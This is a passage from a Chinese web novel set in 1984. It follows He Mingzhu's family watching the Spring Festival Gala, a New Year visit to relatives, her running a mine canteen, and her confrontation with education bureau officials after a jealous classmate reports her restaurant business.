刘婶一家的来到像是打开了阀门,陆陆续续的,家里没电视机的邻居们都来贺家蹭电视了。 做事讲究的人家,就带上些吃的喝的;脸皮厚的,就嘿嘿一笑,进屋自己找个地方坐下看电视。 渐渐地,炕上没地方坐了,屋里也快坐不下,后面来的人都站着看电视。 当春晚播到陈佩斯吃面条的小品时,一屋子人哄堂大笑,笑声都要掀翻屋顶。 “我看着都替他噎得慌!” “哈哈哈哈,这小年轻演的真好!我年轻的时候下乡挖河沟,饿得前胸贴后背,公社送来一大锅的烩面条,我吃的和他一样,刚开始两三口就吃完一碗,等到后面了,那真是直着脖子往下塞,多一口都咽不下去!” 当播到乒乓球表演比赛时,端正英俊的乒乓球员李富荣吸引了大婶小姑娘的注意。 “这小伙子长得可真俊!” “他乒乓球打得真好!” “那可不,这可是世界冠军!” 从歌曲到戏剧,从相声到小品,时长四个多小时的春晚,硬是没一个人中途离开。 即使是站着看电视的人,只是不停地左右脚来回倒腾,改变身体重心来缓解疲劳,再累也不走。 直到节目尾声,主持人开始倒计时,才有人惊呼:“哎哟,忘了放炮呢” “赶紧回去放炮啊!” 众人一哄而散,各家匆匆跑回去放炮,不多时,外面就传来噼里啪啦的炮竹声。 从没熬过这么晚,贺小弟早就看睡着了,被贺明军抱到了炕上。 听到鞭炮声,他迷迷瞪瞪地从炕上爬起来,小手团着揉眼睛。 “我也要放炮……” 贺明军单手抱起他,带着他出门放炮。 转身时撞到人,他一看,是贺明国,惊讶道:“你什么时候回来的?我怎么都没注意到?” 贺明国接过贺小弟,旁边的齐家红说:“我们早就回来了,屋里人多,就没往里挤,在门口看了会儿电视。” “轰”的一声巨响,是有人在外面把几个二踢脚捆在一起点燃了。 贺小弟这下是彻底清醒了。 “放炮!我也要放二踢脚!” 贺家门外响起轰隆隆的炮声,一时间盖过了电视机的声音。 贺明珠在炕上伸了个懒腰,面前炕桌上一堆瓜子皮,磕得嘴皮子酸。 她准备出去凑热闹,也跟着放几个炮时,却见屋里竟然还有人。 “小张叔,你怎么还在?不回去放炮吗?” 屋里的人是巷口张奶奶家的小儿子,年方二十,和贺家的人年岁相差不大,从小一起玩大的。但因为他的辈分高,所以喊一声“小张叔”。 张立新闷闷地说:“我们家有的是放炮的人,不缺我这一个。” 贺明珠一听这话里有话,故意多问了一句。 “说起来你家不是也有电视吗?大年三十的,不在自己家看春晚,跑来我们家干嘛?” 张立新哼一声:“不欢迎啊?不欢迎那我走了。” 贺明珠跳下炕,披上厚棉袄,推着他往外走。 “走走走,一起放炮去。” 张立新顺着贺明珠的力道走出了门,看到院外空地上,贺家几个人凑在一起放炮。 贺明军把着贺小弟的手,拿着香烟往炮捻子上凑。贺小弟又兴奋又害怕,尖笑声比鞭炮声还大。 一旁的贺明国喊着:“老二,你 小心点,别把老四嘣着了!” 贺明军回了一句:“你当我是你啊!” 话音未落,炮捻子被点燃,贺明军夹着贺小弟急忙往后退。 炮声轰鸣,齐家红捂着耳朵,抓着贺明国的胳膊,笑得脸都是红的。 张立新看到眼前这一幕,不由得感叹:“你们家感情真好,我们家要是也这样就好了。” 贺明珠听到他的话,知道这辈分大的发小的郁闷,也不多说,拍拍他的背,问道:“你们家还在折腾呢?” 张立新被她拍得一窜,夸张大喊:“我这是肉!你轻点儿!” 贺明珠不理他,他也觉得没意思,叹了口气,说道:“可不嘛,你说说我们家那几个人,都离开北京这么多年,打小就在矿务局长大,现在还惦记回去呢。也不想一想,老家有地方吗?” 家家有本难念的经,张家爷爷是当年从北京来支援乌城矿务局建设的钳工,结婚生子都是在这里,一辈子没再回去。 为了国家建设,张家爷爷没能给父母养老送终,全靠家里的兄弟姐妹,他心中有愧,自愿放弃了北京大杂院里的几间房子。 但张家的子女可不是这么想的。 他们在乌城这小地方呆够了,心心念念要回北京,要去大城市。 但因为他们的户口和粮食关系都落在了乌城,在北京没工作没房子,想回去也没戏。 而且随着张家爷爷的去世,北京那边的亲戚也淡了,多年不来往,没有感情基础,想想也知道,他们不会轻易接纳陌生的侄子侄女。 为这,张立新的兄姐们非常怨恨爹妈,隔三差五地闹别扭。 即使当初在北京时张家不是什么富贵人家,而是住在城市边缘的大杂院,一大家人住三间小屋,穷得叮当响,要不然张家爷爷当初也不会毅然决然来乌城发展。 乌城矿务局这边有工作,开的工资高,还分房子,一个工人的工资就能养活一家。 要不是因为张家爷爷来了乌城,也不会买得起冰箱和电视。 张立新忿忿地说:“现在又和我妈闹呢,大年三十的也不消停,我是在家里待不住了。” 贺明珠同情地拍拍他的肩膀,问道:“那你要去哪儿?我记得你爸妈的工作都被你哥哥姐姐接班了,你有工作吗?要不来我们店先干着?” 张立新笑了,这才叫发小呢,这就替他打算上了。 “去你手下干活那叫什么事儿?我想好了,他们不都想去北京去不了吗?那我就去北京倒腾货,卖东西,说不定过两年我也成万元户了,到时候你得叫我一声‘张老板’!” 贺明珠说:“也等别到时候了,就现在吧,张老板,将来发了可别忘了兄弟啊。” 张立新笑得露出一口大牙。 “没问题,你就等着吧,到时候哥罩着你!” “乐什么呢?高兴成这样?” 贺明军见两人说得高兴,便走了过来。 张立新一抬下巴,傲娇道:“这是我们老板之间的话,和你这个小打工的说不清。” 贺明军挑起眉毛,抬手就搂住张立新的脖子,把他卡在自己胳膊底下。 “来,你再说一遍。” 张立新夸张大叫:“我可是你叔,你这是以下犯上!救命啊,谋杀亲叔了——” 贺明军冲贺明珠点点头:“行了,放完炮就回去吧,别冻着了,我和这小子谈谈心。” 他低头又对张立新说:“我看你小子是皮痒了,还给我当上叔了,来来来,新年第一天,咱俩好好比划比划。” 张立新秒速滑跪。 “我错了,哥,我真错了……” 笑闹声中,远处一朵烟花绽放在夜色中。 尽管和后世相比,这朵烟花看起来颜色单调,有些粗糙,但还是给新年的夜空添上一份喜庆色彩。 正月里,一家人吃吃喝喝,闲时看电视打牌,不知不觉间,便过完了元宵节。 期间,贺家还去了姥姥家拜年。 相比于去年的不快,这一次全程都十分舒心,没有一点让人不痛快的地方。 表嫂圆团团的脸上堆满了笑,还教她的小儿子喊贺明珠“表姨”,握着两只肉乎乎的小爪子,作势给贺明珠拜年。 贺明珠也不小气,拿出早已准备好的红包,发给了小表侄,表嫂脸上的笑看起来更加真情实感了。 贺明珠发出去一个红包,又收到了来自许大舅和大舅妈、姥姥和姥爷的一堆红包。 她本想推拒,毕竟自己现在能挣钱,挣的还不少,应该是她给长辈们发红包。 姥姥摩挲着她的脑门,慈爱地说:“在姥姥家,你什么时候都是孩子。” 贺明珠心中软软的,哼唧一声,一头扑进了姥姥怀中撒娇。 以前她年纪小,小小一只扑到怀里还可以说是小鸟依人。 而现在,贺明珠这一年吃好喝好睡好,体格噌噌长,而姥姥却因年老而体型瘦小佝偻,这一扑,简直是大鹏袭人。 贺明珠毫无所觉,只埋在姥姥的怀里,使劲闻着她身上的气息。 温暖而干燥,熟悉的气味,有点像妈妈,又像是回到了小时候。 一家人笑着看贺明珠撒娇,过了一会儿,倒是她有些不好意思,红着脸爬了起来。 许大舅疼爱地说:“以后有空多回来,在咱们家,你永远都是孩子。” 这一趟回姥姥家拜年,还有一个小插曲。 表哥把贺明国拉到一边,偷偷问他有没有什么办法绕开计生办,再生个老二? 贺明国奇道:“你不是有儿子了吗?还要老二干嘛?” 表哥说:“你是城里人不懂,俺们庄稼人不就得多生儿子吗?要是没儿子,家里这么多的地谁来种?不得累死俺啊!一个儿子哪够……” 贺明军听到两人对话,凉凉过来补了一刀: “就你,还下地?当谁不知道地里的活儿都是大舅干的,怎么着,你这是剥削完老子,又惦记剥削儿子了?” 表哥不敢和贺明军吵,嘟嘟囔囔地说:“你懂个甚……反正,反正就是得多生儿子……” 贺明军不搭理他,拉着贺明国走了。 “你闲着没事儿就去陪姥爷,和他有什么可聊的。” 表哥看着两人背影,不甘地说:“不就是在城里上班吗,有什么大不了的,往上说了,你们也是村里的……” 对于表哥的小心愿,贺明珠并不知道,她在和许巧燕商量年后扩张粉条作坊的事。 许巧燕高兴地说:“村里的婶娘们都愿意来俺这儿做活,俺不拖工钱,活儿也不重,她们都说啥时候开个厂子就好了,俺一想,开厂子挺好的,省得每次粉条都不够卖。” 贺明珠大力支持,让许巧燕年后去找村书记,了解一下开办乡镇企业的要求。 要是可以的话,她手下就能多了一家红帽子企业。 许巧燕声音响亮地应了,看她的样子,不等年后,正月里就要找村书记了。 这一年,许巧燕的变化非常大,人胖了些,精神多了,脸上总挂着笑,看起来自信又乐观。 去年时,她总是在皱眉苦笑,眉宇间有着化不开的愁怨,整个人看起来唯唯诺诺,低着头,驼着背,一副逆来顺受的模样。 而现在,尽管皮肤依旧是黑黝黝的,但许巧燕的眼睛却是亮的,说话时嗓门也响亮了,抬起了头,直起了腰,似乎曾经那个笑容没有阴霾的小村姑又回来了 小孩子最敏感,灵灵看到贺明珠就抱住她的胳膊,甜甜地喊“表姨”。 尽管年纪还小,但灵灵知道,给家里带来这么大变化的人就是这位不常来的表姨。 大人们不吵架了,妈妈脸上的笑容多了,每一天过得都有盼头。 贺明珠要给灵灵发红包,她小手一推,懂事地不肯收。 “表姨,我不要钱,你的钱是有大用处的,我不能拿,我有零花钱。” 她从许巧燕给她缝的小花包里,拿出叠得仔仔细细的一把零钞,向贺明珠证明她有钱。 孩 子这么懂事,贺明珠忍不住抱着她揉了一通。 “乖乖,这不是零花钱,是给你买本买笔的,你要好好学习啊。农村女孩子的出路少,只有读书才能让人跳出农门,过上更好的生活。” 许巧燕也笑:“拿着吧,表姨给你的,以后要在学校好好学习,知道吗?” 听到妈妈的话,灵灵才收下了红包,很认真地对贺明珠说: “表姨,我听你的话,以后一定好好学习!” 从灵灵身上,贺明珠似乎看到了曾经的母亲。 贺母靠着自己拼出了一条血路,期间多少次头破血流,只有她自己知道。 如今,贺明珠想让许家的女孩子们也能离开农村,过上更美好的生活。 就像是一场她与母亲的隔空对话。 妈妈,你看到了吗? 正月的时间过得飞快,转眼间就过完了。各行各业陆陆续续开门开市,恢复了日常营业。 三店,贺明军提前一天过来开门,通风透气,顺便接收菜品肉类。 徐和平一起过来帮忙,纪平波也来了,几个人清扫店内,清点货物,饭店渐渐热闹起来。 有客人路过,见店里开着灯,就探进脑袋问:“有饭吗?” 贺明军不会拒绝送上门的生意,尽管今天不是定好的开门日子,立刻就说:“有,吃什么?” 客人进屋点菜,找了个靠窗的位置坐下。 没一会儿,来店的客人越来越多,竟将店里都坐满了。 贺明军在厨房忙得不可开交,恨不能长出八只手,或者来个分身术,让他能把这一堆单子上的菜都做完。 正当他忙得脚底冒烟,差点把盐当糖撒进菜里时,忽然一道声音传来。 “啧啧啧,可真忙啊!忙得过来吗?” 贺明军抬眼一看,是费立广,老头站在门口,悠闲地背着手,还说:“二老板过年好啊!这忙得,开门红啊,要我帮忙吗?” 见是这老头,贺明军先惊后喜:“哪儿那么多的话!赶紧来帮忙!” 费立广溜溜达达地进来,故作犹豫:“哎哟,今天不是上班的日子,这帮忙给算加班费吗?” 贺明军都被气笑了:“算!给你算双倍工资!” 费立广一乐:“这好,早知道我昨天就来了,哎呀,要是天天都双倍工资就好了啊。” 贺明军反唇相讥:“早知道你这么喜欢钱,过年就不放假了,一正月都是双倍工资。” 两个人熟练地斗着嘴,一段时间没见,费老头还挺想贺明军的,有这小子在,热闹。 他正要把话扔回去给贺明军时,眼角余光一瞥,看到一缕烟,原来是贺明军吵得太专心,忘了看锅了。 费立广忙不迭地往灶台冲:“哎哎哎!锅,锅!” 第114章 第114章小小的嫉妒 春天总给人以希望。 对于绝大多数人来说,过完农历新年,才算是实打实地开始了1984年。 作为高一学生,贺明珠除了要完成学业,还要上学校安排的劳动课。 全班人被组织去校后荒地上搬石头、拔野草、平整土地,将荒地改造为可以耕种的农田。 可以预见的是,学校下一步的劳动课安排就是播种、浇水、施肥了。 贺明珠所在的班级按性别分成了两组,男生干搬石头的体力活,女生则负责拔野草。 不过虽然看起来拔野草比搬石头轻松,但实际上,这些野草生长多年,根系发达,地面上仅有十厘米的野草,其埋在土里的根部长度可达一米。 一群女生吭哧吭哧地拔萝卜似的拔野草,料峭春寒中,累出一身的汗。 可当看到贺明珠的动作,女同学们纷纷懊悔道: “哎呀,我怎么就没想到带上耙子呢?” “早知道就把班里的锄头拿过来了……” 又有人说:“你想到了也没用,男生早就拿着锄头去锹石头了。” 贺明珠扛着耙子,笑眯眯地冲女同学们招手:“美人们过来给大爷香一个,大爷帮你们挖野草~” 她这副模样,活脱脱一个性转版八戒少女,女同学们笑得七倒八歪。 “你这个油嘴滑舌的坏蛋,还香一个,和谁学的这种话!” “来来来,我亲你一口,快过来帮我把这颗野草弄出来,我挖土挖得手都要破了。” “哈哈哈,我也可以亲……” 贺明珠在班里人缘奇佳,一方面是因为她勇擒通缉犯的名声,另一方面就是她疏朗爽直的脾气,再加上一点混不吝的玩笑话,经常逗得女同学们笑得花枝招展,对她是又爱又恨。 贺明珠大爷似的走上前,左拥右抱,调笑道:“来来来,先给大爷看看你们的诚意~” 几个平时同样爱开玩笑的女同学果真凑上来要献吻,贺明珠假作吃惊状,转而从猪八戒化身唐僧,就差说出“施主,使不得,这可使不得啊~” 女同学们更乐呵了,强压着她非要亲一口,一群人嘻嘻哈哈,笑声传遍了整片荒地。 不远处的男同学们听到笑声,纷纷探着脑袋往过去瞧。 这年头还比较讲究男女大防,男女生间天然存在隔阂,平时别说笑闹,就连普通聊天也很少。 即使是青春期少男少女的情思,也无法突破这条防线,只是默默多看对方几眼。 孙向前忍不住一看再看,见贺明珠在女生间极受欢迎,忍不住笑了起来。 旁边的男同学凑过来问他:“笑什么呢?” 孙向前掩饰性地低下头,含糊地说:“没什么。” 男同学艳羡地望着对面,唉声叹气:“我要是像贺同学这么受欢迎就好了……” 孙向前想说“你是想受女同学欢迎吧”,想了想,到底没把这话说出口。 他不再看女生那边,将从地里挖出来的石头堆到一起,放进筐子中,用扁担挑到荒地边。 筐子摞满石头,份量不清,他放下扁担后,两只手撑着膝盖,大口喘气。 “孙同学,你太辛苦了,请你喝北冰洋。” 一道女声传来,孙向前有些无奈地抬头看去,同时说道:“谢谢你,赵同学,饮料我就不喝了。” 站在他面前的是一个圆润白嫩的小姑娘,穿着时髦的灯芯绒外套和小皮鞋,辫子梳得整整齐齐,还别着一个亮闪闪的发卡。 “你喝嘛,你不喝我就不高兴了。” 女同学执意要将手上的北冰洋递给孙向前,握着瓶子的的手圆嘟嘟胖,不染泥土,和正在劳动的同学相比起来,干净得有些格格不入。 孙向前叹了口气,直起身来,礼貌而坚定地说:“真的不用了。我还有石头没运完,我先回去了。” 说罢,他就筐子里的石头倒在地上,挑着担子转身就走。 赵曼曼看着他的背影,恨恨地跺了下脚,气不过,作势要摔了玻璃瓶。 另一个女生急忙走过来,拉住她的手,劝道:“他不喝就不喝,没有享福的命,别和北冰洋过不去,被玻璃碎片划到怎么办?” 赵曼曼咬着嘴唇,将北冰洋塞给对方,忿忿道:“凭什么他总不理我!不就是长得好,学习也好吗?我哪里就不如他了!” 田小华熟练地安慰这位大小姐,顺便将北冰洋塞进肥大棉袄的兜里。 另一边,有女同学用胳膊肘戳了戳贺明珠,让她往那边看。 “大小姐又闹脾气了。” 贺明珠看了一眼,见是赵曼曼和她的小跟班,无所谓地笑了笑。 “管她们呢,走,我们继续拔草去。” 女同学却不走,愤愤不平地低声说:“凭什么每次劳动课她都不用干活?不就是因为她家里都是当官的吗?老师也太不公平了!” 贺明珠拉一拉她的手,说:“与其生气,倒不如将愤怒化为学习动力,实现你考大学的心愿。” 女同学沉默了半响,叹了口气:“我就是看不惯她那德行。” 贺明珠双手将她的脑袋往自己的方向扭过来,在对方讶异的目光中,笑眯眯地说: “那你别看她了,看我吧,我觉得 我长得比较顺眼~” 女同学又笑又气,终于忍不住上手捏她的脸。 “你这个小坏蛋!” 下学的时候,贺明珠推着自行车出了校门。 去年开学前,贺明国和齐家红给她买了辆新自行车,说是考上高中的礼物。 不知道这两口子是从哪儿弄来一张自行车票,也不知道他们是怎么买到这款最时兴、也是最紧俏的飞鸽牌女士自行车,当贺明珠知道的时候,新车已经被推回了家。 这辆漂亮的红色自行车还让贺明珠在一中小小地出了一次风头,连看车棚的大爷都认识她的车。 不过贺明珠骑惯了二八大杠,上车的动作一点也不优雅,跨过车梁,蹬上就走,和旁边踩着脚蹬荡了两圈再上车的女同学相比,活脱脱一个林黛玉倒拔垂杨柳。 骑了一会儿,离校门口的大部队远了些时,有人从后面追上来,喊着贺明珠的名字。 “贺明珠同学!” 贺明珠放慢了速度,侧头看去,见是孙向前,好奇道:“怎么了,找我有事儿吗?” 自从中考结束后,冲刺中考复习三人组合就宣告解散。 梁志胜如愿考上中专,而孙向前和贺明珠考到了一中。虽然依旧是同班同学,但两人平时在班里很少说话,私下也没什么联系。 孙向前看到贺明珠的背影,下意识地追上来,可面对她时,他又不知要说什么。 “那个、那个,你最近忙不忙,累不累啊?和初中相比,你的成绩好像有点下降……” 话刚说出口,看到贺明珠惊讶的眼神,孙向前恨不能把刚才的话给吞回去。 他都在瞎说什么啊! 贺明珠不解其意,坦诚地说:“有点忙,不过还好,在控制范围之内。成绩的事我在努力了,不过看起来似乎见效有些慢啊。” 孙向前自觉问了个蠢问题,但蠢问题也有价值。 他连忙说:“要不然我们继续组成学习小组吧!我可以帮忙总结每节课的知识点,这样你复习起来就轻松多了。” 贺明珠一听这主意好。 她这段时间确实忙,两家分店和一家新食堂已经占据了她大部分心思,更别提还有一些突发事件,她每天能花在学习上的时间很有限。 如果有孙向前帮忙,那她能在学习上省下不少工夫。 贺明珠也不客气,干脆地说:“那就麻烦你了。作为报答,我每天请你吃晚饭。” 孙向前不由笑了起来,抿着嘴,眼睛清澈而明亮。 “好,那我就等着蹭吃蹭喝了。” 两人都没注意到,在不远处的马路上驶过一辆伏尔加牌小轿车。 这辆产自苏联的小轿车,有着苏系车特有的端正流畅的外形。作为高档进口车,伏尔加轿车是领导出行和接待贵宾的专用车,即使违反交规,也不会有交警上前拦车。 然而,此时车内坐着的却不是中老年干部,而是一个扎着辫子的小姑娘。 她趴在车窗上,死死盯着两辆并行的自行车。 骑车的两人不知在说什么,相视而笑,看着刺眼极了。 赵曼曼的指甲深深嵌入掌心,却丝毫感觉不到疼痛。 哼!怪不得对她爱答不理,原来是早就偷偷谈对象了! 真是太可恶了! 贺明珠并不知道不远处有一颗散发着黑气的少女心,兀自骑车回家,放下书包后先上矿去了一趟一矿的新食堂。 如今食堂的经营已经步入正轨,基本将井下矿工全部吸纳为顾客,每到饭点就人满为患。 虽然劳动服务公司的员工在食堂上班时,对来吃饭客人的态度并不算好,但看在物美价廉的美食份上,绝大部分人还是包容了这一点。 毕竟,除了新食堂,矿上还有哪家只用四毛钱就能吃一顿有荤有素有主食的饭呢? 更何况,以前煤矿人家不收饭票,只收现金,作为职工福利发放的饭票只能用在食堂,买一些明显不划算的馒头、花卷之类的方便携带的食物。 但现在,由煤矿人家转生的新食堂不仅收现金,还收饭票,每个月的饭票终于有地方花了! 为此,不少饱受原食堂荼毒的职工也纷纷来新食堂用餐,即使新食堂的位置与办公楼相距甚远,走路要花十五分钟以上,但仍旧挡不住来吃饭的人。 贺明珠来新食堂的时候正赶上饭点,大厅里人满为患,不少人端着餐盘四处找位置。 往往上一个人还没吃完,下一个人就在旁边等位置了。 还有一些关系好的同事,索性一人坐一半位置,以半悬空的姿势,扎着马步吃饭。 贺明珠绕着食堂看了一圈,先看顾客的用餐状态,再看食堂的卫生情况,最后排到队伍中,顺着人流走到打菜窗口前,观察几个负责打菜员工的工作态度。 虽然还做不到微笑服务,但口罩是戴着的,帽子是遮住头发的,手指缝洗的干干净净,至少保证了食品卫生。 排队的时候,贺明珠听到旁边的人说: “今天又来晚了,我最喜欢吃的炸鸡排没有了啊,早知道就提前十分钟下班了。” “嗨,你提前多久都没用,我问了,那帮井下的家伙,换完班就跑来食堂,刚出锅的炸鸡排,没等晾凉呢,就被这帮牲口全买光了!” “啊?!怪不得我说怎么现在一次鸡排都买不到,原来是被这群家伙抢走了!” 这位仁兄一脸的怨念,显然是和那群抢鸡排的结下了不共戴天之仇。 在贺明珠另一边,也有几个人在聊天。 “你也来打饭了?你媳妇不是不让你们家在外面吃东西吗?” “我媳妇说了,新食堂的菜做得干净,营养也全面,可以让孩子吃。她从医院下夜班回来不想做饭,让我在食堂打饭带回去吃。” “这可真难得,看来这食堂的菜确实很不错,要不然你媳妇也不能松这个口。” “哎,她在医院待久了,不是看这个不卫生,就是看那个脏。要我说啊,不干不净,吃了没病,哪来那么多的穷讲究。” “哈哈哈,这食堂要是真做的不干净,你还来吃吗?” “这个,这个,等真不干净了再说呗……” 队伍移动速度不慢,贺明珠很快就排到了第一个。 窗口里,打菜员工眼睛也不抬一下,露出的来的脸上写满了不耐烦,没好气地说:“吃什么?” 贺明珠随便挑了两个菜,打菜员工一勺子下去,盛得满满当当,手也不抖,直接倒进托盘。 她交了饭票,拿上托盘,走的时候听到打菜员工不耐烦地催促:“下一个!打什么菜?” 贺明珠笑着摇摇头。 算了,短短一个月的时间,还是不要苛责太多。 她端着托盘进了后厨,有员工没看清脸,下意识就要拦人。 “哎哎哎,这儿不能进!” 贺明珠转过头,笑眯眯地问:“我也不能进吗?” 见是贺明珠,员工一愣,有点尴尬地说:“能……你当然能进……那个,我没看清,不好意思啊 。” 贺明珠却说:“没什么不好意思的,这是你职责所在,干得好哦!” 原本以为自己鲁莽的举动会得罪贺老板,但却没想到得到一句“干得好”的夸赞,员工不好意思地挠挠头。 “嘿嘿,还好,还好……” 贺明珠进了后厨,里面已经不再做菜了,杨冬梅带着几个人正在打扫卫生,冯解放在清点存货,思考有没有明天需要调整的菜品。 看到贺明珠,两人手上的活儿不停,熟稔地打招呼。 最近贺明珠常来,大伙儿都习惯了,知道她是来检查劳动服务公司职工的工作表现,有什么不妥的,她当天就会提出来,并限期整改。 原本习惯了懒散工作节奏的大集体职工,现在也不得不调整心态,以更加严肃认真的态度来完成每天的工作内容。 连着几周检查下来,大集体职工们明显改变很多。 别的不说,起码先把卫生红线意识牢牢刻进了脑子里。 对待客人虽然还谈不上“客人是上帝”的服务精神,但至少不会无缘无故打骂客人(……),保障了客人用餐时的人身安全。 有的职工耍小聪明,想通过给客人少打菜来讨好老板,打完菜,手抖一抖,一勺变半勺,立竿见影的就降本增效了。 贺明珠:……我真是谢谢你了。 她再三申明后,终于止住了这股打菜手抖的奇怪风气。 也可能是因为大集体职工发现正常上班真的很累,愤而通过多打菜的方式来报复老板。 打菜越多,老板就亏得越多,合计下来,实在太划算了。 贺明珠:……我真是谢谢你们全家了。 贺明珠今天过来没发现什么大问题,一些小毛病就抬抬手放了过去,毕竟如果一直逼迫员工处于高压状态下,并不利于长久发展,也更容易激发大家的逆反心理。 有松有驰,才是长远之道。 贺明珠在新食堂看了一圈,临走前和冯解放说以后炸鸡排限购,每人一块,总要让大家都尝一尝。 冯解放有些发愁:“这可有点难办,一个人排两次队,或者多换几个窗口打菜,就能把限购的规定绕过去啊。” 贺明珠说:“那就限量放出,矿工交班的时候放一波,饭点的时候再放一波,尽量让更多的人能吃到炸鸡排。” 冯解放点点头:“行,那我和打饭的人都说一下。” 贺明珠嘱咐一句:“要是有其他类似炸鸡排的菜,以后都按这个方法来解决。” 希望下次她来食堂的时候,不会再听到来自吃货的碎碎念。 毕竟,享受美食是天赋人权啊。 日子按部就班地过,但某一天,贺明珠在上学时,发现同学们看她的眼神不太对劲。 关系好的女同学拉过贺明珠,悄悄地问:“你什么时候得罪赵曼曼了?” 贺明珠不解:“我和她都没说过话,怎么谈得上得罪?她干什么了?” 女同学急道:“她说你投机倒把,挖社会主义墙角,带坏了学校风气,要求学校开除你!” 第115章 第115章贺明珠的回击 “就这?” 听到贺明珠疑惑的反问,女同学急了。 “这还不严重吗?她想让学校开除你啊!” 贺明珠脸上没有一丝紧张或害怕的表情,语调轻快。 “还好啊,没什么大不了。倒是你们今天看我的眼神,让我差点以为自己穿反裤子了呢。” 女同学不理解贺明珠为什么毫不在意,连忙补充道: “赵曼曼家里人都是当官的,你没发现老师都在巴结她吗?要是一般人说这种话,学校不一定会搭理;但要是她说的话,学校一定会严肃处理的!哎呀,你别光顾着笑,赶紧想想办法啊!” 贺明珠笑着上去抱了女同学一下。 “你真是太好了,谢谢你啊~” 女同学被她这么一抱没了脾气,小声抱怨:“你这个坏姑娘……” 上课上到一半的时候,贺明珠被人叫了出去,来到校长办公室。 不大的办公室里挤了好几个人,贺明珠扫了一眼,认出一中校长、班主任老周、教导处主任,另外几个人看着脸生,不像是学校里的。 当贺明珠在观察办公室里的人的时候,其他人也在观察他。 校长和蔼客气地对贺明珠说:“你就是贺明珠吧?别紧张,有一些事需要和你了解一下,你如实回答就好。” 几个陌生人互看一眼,其中一个带头模样的人先开了口。 “我们收到了举报,你是否在校期间开饭店做生意?” 贺明珠一扬眉毛,坦然承认。 “是,有什么问题吗?” 像是对她这轻飘飘的回答不满意,带头人神情严肃地说:“问题很大!你还是高中学生,怎么能干这种投机倒把的事?这是违反规定的,你知道不知道?” 班主任老周不易觉察地皱了下眉头,上前两步,挡在贺明珠身前。 “教育局的同志,现在还是上课的时间,不如让她先回去上课,有什么事情之后再说……” 教育局的同志并不把这个老教师放在眼里。 “这位老师,我没问你,你让她说话。再说了,这种一心扑在金钱上的学生,就算上课也是浪费师资!” 贺明珠奇道:“我浪费什么师资了?我是在上课的时候做菜了,还是把饭店开到学校里了?您这话我怎么就听不明白呢?” 带头人没想到她一个小姑娘口气这么硬,对着一屋子的大人也是想说什么就说什么,丝毫没有犯错后的心虚,反而还很理直气壮。 他不快道:“学生该干的事就是好好学习,而不是为了谋求眼前的利益,和国家政策对着干,开一些投机倒把的饭店,破坏社会主义经济!” 见他说话语气越来越重,老周急忙插话,带着点儿哀求意味。 “同志,她年纪还小,不懂事,我们应该给学生一次机会……” 带头人不耐烦地说:“难道公检法也要给犯人一次机会吗?她这是违法,你不要再包庇了!” 贺明珠忍不住笑了。 “这位教育局的同志,您这话有点幽默了,我依法开店,守法经营,您说违法,违的是什么法?” 带头人倨傲地说:“你违反的是教育局的法规!” “什么法规?名称是什么?哪条哪款规定了学生不能开店?” 贺明珠追根究底,丝毫不让对方含混过去。 带头人一时卡壳,说不出来是什么法规。 贺明珠乘胜追击:“我开饭店是经过了工商所的审批,按时足额向税务缴纳税款和管理费,全程接受各主管部门的监督管理——您说违法,是想说所有政府机关都在包庇我的违法行为吗?” 教育局的其他人见她咄咄逼人,带头人被逼得说不出话来,急忙上前救场。 “开饭店是你一个学生应该干的事吗?作为学生,你的职责是学习,而不是从事一些与学习无关的行当。” 贺明珠说:“我学习了啊,在学校的分分秒秒我都在学习。您所谓的‘与学习无关的行当’是在校外发生的,难道学校的管理已经延伸到校外,针对学生的私生活吗?” 这个人被说得哑口无言,另一个人连忙接上。 “那你也不能开饭店,举报人说你家饭店还雇佣了许多工人,你一个社会主义接班人,怎么能重走资本主义老路,做这种剥削工人的事呢?” 他苦口婆心,一副为贺明珠着想的模样。 贺明珠不为所动,反问道:“饭店雇佣的员工都是待业青年和退休老人,如果不许饭店雇工的话,这些人的工资和劳保从哪里来?由教育局发吗?” 校长咳了两声:“这些教育局的同志都是好心,同学,你注意一下说话方式。” 贺明珠乖巧对校长笑笑,转而就对教育局的人开炮。 “只要您今天说一句‘禁止贺明珠开的饭店雇工人’,我立马回去就把人都开除了,他们要是有意见的话,就告诉他们这是教育局的要求,我只是执行而已。” 教育局的几个人吓了一跳,这话是能随便说的吗? 这年头最可怕的就是社会上的待业青年,没钱没工作,就没有他们不敢干的事。 要是真让贺明珠这么说,只怕第二天教育局就要被这群人给拆了。 带头人苍白无力地怒了一句:“谁说让你开除工人了?!” 贺明珠惊讶地睁大眼。 “那您的意思是要我把饭店关了吗?” 带头人很想说“是”,但接着就听到贺明珠说: “……倒也不是不行,就是我们饭店和两个村子建立起长期供货关系,大批量采购蔬菜和生鸡,要是饭店关门的话,这些农产品就没有人收购了,村民们的收入也会大幅度下滑……” 教育局的几个人心惊胆战地看着贺明珠眼睛一转,笑眯眯地说: “不过如果村民知道这是教育局的要求的话,我相信他们一定会体谅的。你们说呢?” 怎么会有被举报人试图威胁机关啊! 几个教育局的人脑子都转不动了,从来都是被举报人战战兢兢,不是拼命为自己开脱,就是努力哀求,恨不能跪下来。 特别是学生,作为社会的弱势方,那简直是比软柿子还好捏,一捏一个准,宁愿把自己憋屈死,也不敢对外爆发。 怎么会遇到贺明珠这种滚钉板的混不吝啊! 机关的人久坐办公室,和贺明珠这种和三教九流打交道的生意人相比。 在不占理、没有法律根据的情况下,只会虚张声势地吓唬人。可他们说得再多,也不如贺明珠寥寥几句话,就精准地掐住死穴。 说起来,这些机关的人最怕的一是上级领导,二是引发物议。 而引发物议的后果往往是上级的批评和处罚,甚至直接影响之后几年的仕途发展。 关于开饭店的指责,贺明珠轻飘飘扔出两条解决办法,一是解雇饭店员工,二是关闭饭店。 看着似乎没什么大不了的, 可想想就知道,没了工作的待业青年和失去收入来源的村民,他们的怒火当然而然就会发泄到罪魁祸首身上。 机关的人消息灵通,早就听说过附近发生了好几起围攻政府办公楼的新闻。 所涉机关人员的名字传遍了周围城市,政府还会专门开内部会议,让所有人引以为戒。 而不出意外的话,这些人的仕途前程基本宣告结束。 想到这里,教育局的几个人心中一紧。 他们可不想因为这种事出名啊! 几个人的脸色青青白白,一时间办公室里静得吓人,落针可闻。 老周不赞同地看向贺明珠,轻轻拍了拍她的手,示意她不要再说话,自己则主动开口,打破沉默。 “学生年轻气盛,说话做事没轻没重,几位同志别和她计较。贺明珠同学这是口不择言,说话没过脑子,实际上她怎么会这样做呢?毕竟饭店也是她的心血啊。” 